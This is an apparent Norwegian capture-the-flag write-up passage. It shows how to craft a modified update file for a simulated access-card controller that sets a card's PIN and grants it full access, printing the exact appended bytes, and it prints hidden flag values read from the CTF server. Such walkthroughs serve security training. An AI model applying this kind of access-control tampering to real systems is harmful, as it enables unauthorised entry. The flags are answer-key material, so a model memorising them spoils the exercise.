programmet, access16-v1.6.mos
, er ganske langt (898 linjer), men man trenger bare å forstå seg på oppdateringsfilen man har, og finne følgende kommando-oversikt fra MOV16 koden:
1
2
3
4
5
command_table:
handle_command_end ; -1
handle_command_add ; -2
handle_command_remove ; -3
handle_command_set_pin ; -4
Vi kan sette pinkoden til kortet ved å legge til bytsene 0xfffc
(-4), og da vil de påfølgende 2 bytsene vært kort ID, og de neste 2 bytsene deretter være pinkoden. Vi legger altså til bytsene fffc 0519 9377
(fffc
overskriver de 2 siste bytsene, ffff
, fra originalfilen ettersom ffff
betyr slutten på filen).
Vi kan endre rommene kortet har aksess til ved å sende inn kommandoen 0xfffe
(-2). De 2 påfølgene bytsene vil være kortets ID som vi endrer for, og de 2 bytsene deretter er en mask av hvilke tilganger vi gir (0xffff
er den vi er ute etter, som gir full tilgang).
Følgende er slutten av oppdateringsfilen før og etter endringene:
1
2
<...>
01c1 0052 00c1 0253 01c1 fff0 ffff
1
2
<...>
01c1 0052 00c1 0253 01c1 fff0 fffc 0519 9377 fffe 0519 ffff ffff
Når vi sender oppdateringsfilen til endepunktet som er gitt for oppgaven får vi flagget i retur.
Skjulte flagg
4_corax_dev_shm
Som tidligere år ligger det et skjult flagg inne i /dev/shm
på corax
serveren. Dette flagget er også hintet til på ett av bildene som brukes på etjenesten sine nettsider om talentprogrammet CTFen reklamerer for.
1
2
login@corax:~$ cat /dev/shm/.secret
FLAGG: ec76b88743183bf0d72206e780ebb40a